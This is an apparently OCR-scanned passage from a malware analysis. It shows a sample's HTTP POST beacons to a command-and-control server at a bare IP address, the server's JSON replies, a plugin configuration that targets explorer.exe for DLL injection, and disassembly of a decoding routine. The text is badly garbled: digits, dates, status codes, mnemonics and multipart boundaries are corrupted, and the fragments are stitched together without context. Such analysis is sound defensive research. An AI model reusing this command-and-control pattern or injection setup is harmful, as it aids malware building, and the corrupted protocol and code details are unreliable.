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3. H

HTTPPOST + 80 o 0 - T v json
D A

POST /nouba/gadling.php HTTP/1.1

Content-Type: multipart/form-data; boundary=1ldlaacffei2beal

User-Agent: Mozilla/5.8 (compatible; MSIE 18.0; Windows NT 6.1; Trident/6.8)
Host: 86.185.18.187

Content-Length: 81

Connection: Keep-Alive

--ldlaacffe72bead
Content-Disposition: form-data; name="affront”

overdosage

HTTP/1.1 2088 OK

Date: Tue, 10 May 2816 87:24:88 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.18-1ubuntu3.18
Content-Length: 32

Keep-Alive: timeout=5, max=180
Connection: Keep-Alive

Content-Type: application/json

{"overdosage":"-1572257467"} POST /nouba/gadling.php HTTP/1.1
Content-Type: multipart/form-data; boundary=1dlaacffed2lcb@

User-Agent: Mozilla/5.8 (compatible; MSIE 18.8; Windows NT 6.1; Trident/6.8)
Host: 86.1085.18.187

Content-Length: 183

Connection: Keep-Alive

--1ldlaacffted21chd
Content-Disposition: form-data; name="affront"

phenocryst
--ldlaacffed2lchd
Content-Disposition: form-data; name="liminess™

gubbinses

--ldlaacffed21cb®--

HTTP/1.1 288 OK

Date: Tue, 10 May 2016 87:24:88 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.18-1lubuntu3.18
Content-Length: 17

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

Content-Type: application/json

{"blanco™:[]}
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POST /noubasgadling.php HTTP/1.1

Content-Type: multipart/form-data; boundary=1dlaacffe72bead

User-Agent: Mozillas5.0 (compatible; MSIE 16.@; Windows NT 6.1; Trident/6.8)
Host: B86.185.18.187

Content-Length: 81

Connection: Keep-Alive

-=1ldlaacffe72bead

Content-Disposition: form-data; name="request”

ip

HTTP 1.1 286 OK

Date: Tue, 18 May 2816 87:24:88 GMT
Server: Apaches2.2.22 (Ubuntu)
¥-Powered-By: PHP/5.3.18-1lubuntu3.18
Content-Length: 32

Keep-Alive: timeout=5, max=188
Connection: Keep-Alive

Content-Type: application/json
{"ip":"-1572257467"}

POST /noubasgadling.php HTTP/1.1

Content-Type: multipart/form-data; boundary=1dlaacffed21lcb@

User-Agent: Mozillas5.0 (compatible; MSIE 18.8; Windows NT 6.1; Trident/6.8)
Host: 86.105.18.107

Content-Length: 183

Connection: Keep-Alive

--1dlaacffed21cb@

Content-Disposition: form-data; name="request”
list

--1dlaacffed21cbe

Content-Disposition: form-data; name="type"
command

--1dlaactfted21cb@--

HTTP 1.1 288 OK

Date: Tue, 10 May 2816 87:24:88 GMT

Server: Apaches/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.18-1ubuntu3.18
Content-Length: 17

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: applications/json

{"filelist":[]}
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"name”: "plugins”,
" children_": [
{
"name”: "plgcmd”,
" children_": [
{
"value": "explorer.exe",
"name”: "procname”
}s
{
"value": "puggree.dll”,
"name”: "binary_name"

"value”: "birthright.dll”,
"name”: "binary_ name32"

"value": 5,
"name”: "timeout”
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push 48h

mou ed=, @Ah

mowv dword_1882BB24, BD6BOF4h
mou ecx, offset dword 1882BB24
mowv dword_1882BB28, BC7BBCEh
mowv dword_1882BB2C, BD7BBC1h
mowv dword_1882BE38, BEDBBD7h
mowv dword_1882BE34, BALBOCBH
call decoded ;
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Xxor eax, eax
mowv [ecx], ax
call ds :RUDD_113
push 18h
push offset zmmword_ 18029634
mouv dword_18829562C, eax
call ds :RUDD_199
push offset zmmword_ 18029634
push 28h
push offset zmmword_ 18029644
call ds :RUDD_329
b w explorer.exe T irw
Y 0 Mda 0 v [~
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